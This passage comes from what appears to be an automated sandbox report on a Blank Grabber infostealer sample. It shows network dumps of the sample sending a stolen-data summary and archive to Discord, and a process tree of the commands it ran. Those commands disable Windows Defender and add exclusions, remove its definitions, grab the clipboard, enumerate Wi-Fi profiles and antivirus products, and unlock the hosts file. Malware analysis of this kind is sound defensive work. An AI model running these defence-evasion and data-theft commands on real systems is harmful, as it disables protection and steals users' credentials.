                                            Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bMmX6FfEt9Nfu1rqkZfCQ4pN2nFwfif6g2ngKzgghULHcOmBcsBszP1S6o3%2Bc7RnK9lMvwW9goX4YC4i7z1aiugSWcnDlkADrszSAYDPDI6y%2Fbupj7%2FrSMZphMGahaKItfaXOw%3D%3D"}],"group":"cf-nel","max_age":604800}
                                            NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                            Content-Security-Policy: frame-ancestors 'none'; default-src https://o64374.ingest.sentry.io; report-to csp-sentry; report-uri https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870
                                            Reporting-Endpoints: csp-sentry=https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870
                                            2024-05-15 23:00:22 UTC536INData Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 5f 5f 73 64 63 66 64 75 69 64 3d 65 38 35 65 35 30 38 38 31 33 30 65 31 31 65 66 38 64 33 37 64 65 36 33 36 38 64 62 63 35 33 31 39 34 36 39 31 38 64 66 38 35 61 64 33 34 39 35 38 30 33 38 37 33 39 65 34 63 30 64 34 33 63 34 30 32 64 35 31 31 37 66 63 63 63 63 36 65 31 38 31 39 39 36 34 65 30 38 65 39 63 64 36 36 35 38 3b 20 45 78 70 69 72 65 73 3d 4d 6f 6e 2c 20 31 34 2d 4d 61 79 2d 32 30 32 39 20 32 33 3a 30 30 3a 32 32 20 47 4d 54 3b 20 4d 61 78 2d 41 67 65 3d 31 35 37 36 38 30 30 30 30 3b 20 53 65 63 75 72 65 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 50 61 74 68 3d 2f 3b 20 53 61 6d 65 53 69 74 65 3d 4c 61 78 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 5f 5f 63 66 72 75 69 64 3d 38 31 65 38 63 37 38 62 30 38 39 39 37 33 34
                                            Data Ascii: Set-Cookie: __sdcfduid=e85e5088130e11ef8d37de6368dbc531946918df85ad34958038739e4c0d43c402d5117fcccc6e1819964e08e9cd6658; Expires=Mon, 14-May-2029 23:00:22 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=LaxSet-Cookie: __cfruid=81e8c78b0899734
                                            2024-05-15 23:00:22 UTC1369INData Raw: 39 38 36 0d 0a 7b 22 74 79 70 65 22 3a 30 2c 22 63 68 61 6e 6e 65 6c 5f 69 64 22 3a 22 31 32 32 35 35 35 31 37 37 35 30 37 31 39 39 37 39 39 35 22 2c 22 63 6f 6e 74 65 6e 74 22 3a 22 7c 7c 40 65 76 65 72 79 6f 6e 65 7c 7c 22 2c 22 61 74 74 61 63 68 6d 65 6e 74 73 22 3a 5b 7b 22 69 64 22 3a 22 31 32 34 30 34 33 38 36 35 36 36 33 32 37 35 34 32 32 36 22 2c 22 66 69 6c 65 6e 61 6d 65 22 3a 22 42 6c 61 6e 6b 2d 6a 6f 6e 65 73 2e 72 61 72 22 2c 22 73 69 7a 65 22 3a 37 30 31 37 34 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 64 69 73 63 6f 72 64 61 70 70 2e 63 6f 6d 2f 61 74 74 61 63 68 6d 65 6e 74 73 2f 31 32 32 35 35 35 31 37 37 35 30 37 31 39 39 37 39 39 35 2f 31 32 34 30 34 33 38 36 35 36 36 33 32 37 35 34 32 32 36 2f 42 6c 61 6e 6b 2d 6a 6f
                                            Data Ascii: 986{"type":0,"channel_id":"1225551775071997995","content":"||@everyone||","attachments":[{"id":"1240438656632754226","filename":"Blank-user.rar","size":70174,"url":"https://cdn.discordapp.com/attachments/1225551775071997995/1240438656632754226/Blank-jo
                                            2024-05-15 23:00:22 UTC1076INData Raw: 32 5c 6e 57 61 6c 6c 65 74 73 20 3a 20 30 5c 6e 57 69 66 69 20 50 61 73 73 77 6f 72 64 73 20 3a 20 30 5c 6e 57 65 62 63 61 6d 20 3a 20 30 5c 6e 4d 69 6e 65 63 72 61 66 74 20 53 65 73 73 69 6f 6e 73 20 3a 20 30 5c 6e 45 70 69 63 20 53 65 73 73 69 6f 6e 20 3a 20 4e 6f 5c 6e 53 74 65 61 6d 20 53 65 73 73 69 6f 6e 20 3a 20 4e 6f 5c 6e 55 70 6c 61 79 20 53 65 73 73 69 6f 6e 20 3a 20 4e 6f 5c 6e 47 72 6f 77 74 6f 70 69 61 20 53 65 73 73 69 6f 6e 20 3a 20 4e 6f 5c 6e 53 63 72 65 65 6e 73 68 6f 74 20 3a 20 4e 6f 5c 6e 53 79 73 74 65 6d 20 49 6e 66 6f 20 3a 20 59 65 73 60 60 60 2a 2a 22 2c 22 63 6f 6c 6f 72 22 3a 33 34 33 30 33 2c 22 74 68 75 6d 62 6e 61 69 6c 22 3a 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 72 61 77 2e 67 69 74 68 75 62 75 73 65 72 63 6f 6e
                                            Data Ascii: 2\nWallets : 0\nWifi Passwords : 0\nWebcam : 0\nMinecraft Sessions : 0\nEpic Session : No\nSteam Session : No\nUplay Session : No\nGrowtopia Session : No\nScreenshot : No\nSystem Info : Yes```**","color":34303,"thumbnail":{"url":"https://raw.githubusercon
                                            2024-05-15 23:00:22 UTC5INData Raw: 30 0d 0a 0d 0a
                                            Data Ascii: 0


                                            Statistics

                                            CPU Usage

                                            Click to jump to process

                                            Memory Usage

                                            Click to jump to process

                                            High Level Behavior Distribution

                                            Click to dive into process behavior distribution

                                            Behavior

                                            Click to jump to process

                                            System Behavior

                                            General

                                            Target ID:0
                                            Start time:00:59:54
                                            Start date:16/05/2024
                                            Path:C:\Users\user\Desktop\Built (1).exe
                                            Wow64 process (32bit):false
                                            Commandline:"C:\Users\user\Desktop\Built (1).exe"
                                            Imagebase:0x7ff6ffd10000
                                            File size:7'762'522 bytes
                                            MD5 hash:95567CF5F31A7D7F34AE092E68F9999D
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Yara matches:
                                            • Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000000.00000003.1624338790.0000024AA458A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                            • Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000000.00000003.1624338790.0000024AA4588000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                            Reputation:low
                                            Has exited:true

                                            General

                                            Target ID:1
                                            Start time:00:59:54
                                            Start date:16/05/2024
                                            Path:C:\Users\user\Desktop\Built (1).exe
                                            Wow64 process (32bit):false
                                            Commandline:"C:\Users\user\Desktop\Built (1).exe"
                                            Imagebase:0x7ff6ffd10000
                                            File size:7'762'522 bytes
                                            MD5 hash:95567CF5F31A7D7F34AE092E68F9999D
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Yara matches:
                                            • Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000001.00000003.1894615247.000001887CABE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                            • Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000001.00000003.1893968166.000001887BDB6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                            • Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000001.00000002.1901063320.000001887BB73000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                            • Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000001.00000003.1641004156.000001887BD40000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                            • Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000001.00000003.1896412902.000001887BDB6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                            • Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000001.00000002.1902509315.000001887BDB6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                            • Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000001.00000002.1900783460.000001887B940000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                                            Reputation:low
                                            Has exited:true

                                            General

                                            Target ID:2
                                            Start time:00:59:56
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\cmd.exe
                                            Wow64 process (32bit):false
                                            Commandline:C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\Built (1).exe'"
                                            Imagebase:0x7ff6d8010000
                                            File size:289'792 bytes
                                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Reputation:high
                                            Has exited:true

                                            General

                                            Target ID:3
                                            Start time:00:59:56
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\cmd.exe
                                            Wow64 process (32bit):false
                                            Commandline:C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
                                            Imagebase:0x7ff6d8010000
                                            File size:289'792 bytes
                                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Reputation:high
                                            Has exited:true

                                            General

                                            Target ID:4
                                            Start time:00:59:56
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\conhost.exe
                                            Wow64 process (32bit):false
                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                            Imagebase:0x7ff7699e0000
                                            File size:862'208 bytes
                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Reputation:high
                                            Has exited:true

                                            General

                                            Target ID:5
                                            Start time:00:59:56
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\conhost.exe
                                            Wow64 process (32bit):false
                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                            Imagebase:0x7ff7699e0000
                                            File size:862'208 bytes
                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Reputation:high
                                            Has exited:true

                                            General

                                            Target ID:6
                                            Start time:00:59:56
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            Wow64 process (32bit):false
                                            Commandline:powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\Built (1).exe'
                                            Imagebase:0x7ff788560000
                                            File size:452'608 bytes
                                            MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Reputation:high
                                            Has exited:true

                                            General

                                            Target ID:7
                                            Start time:00:59:56
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\cmd.exe
                                            Wow64 process (32bit):false
                                            Commandline:C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'"
                                            Imagebase:0x7ff6d8010000
                                            File size:289'792 bytes
                                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Reputation:high
                                            Has exited:true

                                            General

                                            Target ID:8
                                            Start time:00:59:56
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            Wow64 process (32bit):false
                                            Commandline:powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
                                            Imagebase:0x7ff788560000
                                            File size:452'608 bytes
                                            MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Reputation:high
                                            Has exited:true

                                            General

                                            Target ID:9
                                            Start time:00:59:56
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\conhost.exe
                                            Wow64 process (32bit):false
                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                            Imagebase:0x7ff7699e0000
                                            File size:862'208 bytes
                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Reputation:high
                                            Has exited:true

                                            General

                                            Target ID:10
                                            Start time:00:59:56
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            Wow64 process (32bit):false
                                            Commandline:powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'
                                            Imagebase:0x7ff788560000
                                            File size:452'608 bytes
                                            MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Reputation:high
                                            Has exited:true

                                            General

                                            Target ID:11
                                            Start time:00:59:57
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\cmd.exe
                                            Wow64 process (32bit):false
                                            Commandline:C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                            Imagebase:0x7ff6d8010000
                                            File size:289'792 bytes
                                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Reputation:high
                                            Has exited:true

                                            General

                                            Target ID:12
                                            Start time:00:59:57
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\cmd.exe
                                            Wow64 process (32bit):false
                                            Commandline:C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                            Imagebase:0x7ff6d8010000
                                            File size:289'792 bytes
                                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Reputation:high
                                            Has exited:true

                                            General

                                            Target ID:13
                                            Start time:00:59:57
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\conhost.exe
                                            Wow64 process (32bit):false
                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                            Imagebase:0x7ff7699e0000
                                            File size:862'208 bytes
                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Reputation:high
                                            Has exited:true

                                            General

                                            Target ID:14
                                            Start time:00:59:57
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\conhost.exe
                                            Wow64 process (32bit):false
                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                            Imagebase:0x7ff7699e0000
                                            File size:862'208 bytes
                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Reputation:high
                                            Has exited:true

                                            General

                                            Target ID:15
                                            Start time:00:59:57
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\cmd.exe
                                            Wow64 process (32bit):false
                                            Commandline:C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
                                            Imagebase:0x7ff6d8010000
                                            File size:289'792 bytes
                                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Reputation:high
                                            Has exited:true

                                            General

                                            Target ID:16
                                            Start time:00:59:57
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\cmd.exe
                                            Wow64 process (32bit):false
                                            Commandline:C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
                                            Imagebase:0x7ff6d8010000
                                            File size:289'792 bytes
                                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Has exited:true

                                            General

                                            Target ID:17
                                            Start time:00:59:57
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\cmd.exe
                                            Wow64 process (32bit):false
                                            Commandline:C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                            Imagebase:0x7ff6d8010000
                                            File size:289'792 bytes
                                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Has exited:true

                                            General

                                            Target ID:18
                                            Start time:00:59:57
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\conhost.exe
                                            Wow64 process (32bit):false
                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                            Imagebase:0x7ff7699e0000
                                            File size:862'208 bytes
                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Has exited:true

                                            General

                                            Target ID:19
                                            Start time:00:59:57
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\cmd.exe
                                            Wow64 process (32bit):false
                                            Commandline:C:\Windows\system32\cmd.exe /c "tree /A /F"
                                            Imagebase:0x7ff6d8010000
                                            File size:289'792 bytes
                                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Has exited:true

                                            General

                                            Target ID:20
                                            Start time:00:59:57
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\tasklist.exe
                                            Wow64 process (32bit):false
                                            Commandline:tasklist /FO LIST
                                            Imagebase:0x7ff7782d0000
                                            File size:106'496 bytes
                                            MD5 hash:D0A49A170E13D7F6AEBBEFED9DF88AAA
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Has exited:true

                                            General

                                            Target ID:21
                                            Start time:00:59:57
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\conhost.exe
                                            Wow64 process (32bit):false
                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                            Imagebase:0x7ff7699e0000
                                            File size:862'208 bytes
                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Has exited:true

                                            General

                                            Target ID:22
                                            Start time:00:59:57
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\tasklist.exe
                                            Wow64 process (32bit):false
                                            Commandline:tasklist /FO LIST
                                            Imagebase:0x7ff7782d0000
                                            File size:106'496 bytes
                                            MD5 hash:D0A49A170E13D7F6AEBBEFED9DF88AAA
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Has exited:true

                                            General

                                            Target ID:23
                                            Start time:00:59:58
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            Wow64 process (32bit):false
                                            Commandline:powershell Get-Clipboard
                                            Imagebase:0x7ff788560000
                                            File size:452'608 bytes
                                            MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Has exited:true

                                            General

                                            Target ID:24
                                            Start time:00:59:58
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\wbem\WMIC.exe
                                            Wow64 process (32bit):false
                                            Commandline:WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
                                            Imagebase:0x7ff77dda0000
                                            File size:576'000 bytes
                                            MD5 hash:C37F2F4F4B3CD128BDABCAEB2266A785
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Has exited:true

                                            General

                                            Target ID:25
                                            Start time:00:59:59
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\conhost.exe
                                            Wow64 process (32bit):false
                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                            Imagebase:0x7ff7699e0000
                                            File size:862'208 bytes
                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Has exited:true

                                            General

                                            Target ID:26
                                            Start time:00:59:59
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\conhost.exe
                                            Wow64 process (32bit):false
                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                            Imagebase:0x7ff7699e0000
                                            File size:862'208 bytes
                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Has exited:true

                                            General

                                            Target ID:27
                                            Start time:00:59:59
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\tree.com
                                            Wow64 process (32bit):false
                                            Commandline:tree /A /F
                                            Imagebase:0x7ff6e2680000
                                            File size:20'992 bytes
                                            MD5 hash:9EB969EF56718A6243BF60350CD065F0
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Has exited:true

                                            General

                                            Target ID:28
                                            Start time:00:59:59
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\tasklist.exe
                                            Wow64 process (32bit):false
                                            Commandline:tasklist /FO LIST
                                            Imagebase:0x7ff70f330000
                                            File size:106'496 bytes
                                            MD5 hash:D0A49A170E13D7F6AEBBEFED9DF88AAA
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Has exited:true

                                            General

                                            Target ID:29
                                            Start time:00:59:59
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\cmd.exe
                                            Wow64 process (32bit):false
                                            Commandline:C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
                                            Imagebase:0x7ff6d8010000
                                            File size:289'792 bytes
                                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Has exited:true

                                            General

                                            Target ID:30
                                            Start time:00:59:59
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\conhost.exe
                                            Wow64 process (32bit):false
                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                            Imagebase:0x7ff7699e0000
                                            File size:862'208 bytes
                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Has exited:true

                                            General

                                            Target ID:31
                                            Start time:00:59:59
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\netsh.exe
                                            Wow64 process (32bit):false
                                            Commandline:netsh wlan show profile
                                            Imagebase:0x7ff6221d0000
                                            File size:96'768 bytes
                                            MD5 hash:6F1E6DD688818BC3D1391D0CC7D597EB
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Has exited:true

                                            General

                                            Target ID:32
                                            Start time:01:00:01
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\cmd.exe
                                            Wow64 process (32bit):false
                                            Commandline:C:\Windows\system32\cmd.exe /c "systeminfo"
                                            Imagebase:0x7ff6d8010000
                                            File size:289'792 bytes
                                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Has exited:true

                                            General

                                            Target ID:33
                                            Start time:01:00:01
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\conhost.exe
                                            Wow64 process (32bit):false
                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                            Imagebase:0x7ff7699e0000
                                            File size:862'208 bytes
                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Has exited:true

                                            General

                                            Target ID:34
                                            Start time:01:00:01
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\cmd.exe
                                            Wow64 process (32bit):false
                                            Commandline:C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
                                            Imagebase:0x7ff6d8010000
                                            File size:289'792 bytes
                                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Has exited:true

                                            General

                                            Target ID:35
                                            Start time:01:00:01
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\cmd.exe
                                            Wow64 process (32bit):false
                                            Commandline:C:\Windows\system32\cmd.exe /c "tree /A /F"
                                            Imagebase:0x7ff6d8010000
                                            File size:289'792 bytes
                                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Has exited:true

                                            General

                                            Target ID:36
                                            Start time:01:00:01
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\systeminfo.exe
                                            Wow64 process (32bit):false
                                            Commandline:systeminfo
                                            Imagebase:0x7ff7857e0000
                                            File size:110'080 bytes
                                            MD5 hash:EE309A9C61511E907D87B10EF226FDCD
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Has exited:true

                                            General

                                            Target ID:38
                                            Start time:01:00:02
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\conhost.exe
                                            Wow64 process (32bit):false
                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                            Imagebase:0x7ff7699e0000
                                            File size:862'208 bytes
                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Has exited:true

                                            General

                                            Target ID:39
                                            Start time:01:00:02
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\conhost.exe
                                            Wow64 process (32bit):false
                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                            Imagebase:0x7ff7699e0000
                                            File size:862'208 bytes
                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Has exited:true

                                            General

                                            Target ID:40
                                            Start time:01:00:02
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\tree.com
                                            Wow64 process (32bit):false
                                            Commandline:tree /A /F
                                            Imagebase:0x7ff6e2680000
                                            File size:20'992 bytes
                                            MD5 hash:9EB969EF56718A6243BF60350CD065F0
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Has exited:true

                                            General

                                            Target ID:41
                                            Start time:01:00:02
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\reg.exe
                                            Wow64 process (32bit):false
                                            Commandline:REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
                                            Imagebase:0x7ff742b80000
                                            File size:77'312 bytes
                                            MD5 hash:227F63E1D9008B36BDBCC4B397780BE4
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Has exited:true

                                            General

                                            Target ID:42
                                            Start time:01:00:03
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\cmd.exe
                                            Wow64 process (32bit):false
                                            Commandline:C:\Windows\system32\cmd.exe /c "tree /A /F"
                                            Imagebase:0x7ff6d8010000
                                            File size:289'792 bytes
                                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Has exited:true

                                            General

                                            Target ID:43
                                            Start time:01:00:04
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\conhost.exe
                                            Wow64 process (32bit):false
                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                            Imagebase:0x7ff7699e0000
                                            File size:862'208 bytes
                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                            Has elevated privileges:true
                                            Has administrator privileges:true
                                            Programmed in:C, C++ or other language
                                            Has exited:true

                                            General

                                            Target ID:44
                                            Start time:01:00:04
                                            Start date:16/05/2024
                                            Path:C:\Windows\System32\cmd.exe
                                            Wow64 process (32bit):false
                                            Commandline:C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
                                            Imagebase:0x7ff6d8010000
                                            File size:289'792 bytes
                                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                            Has elevated privileges:true
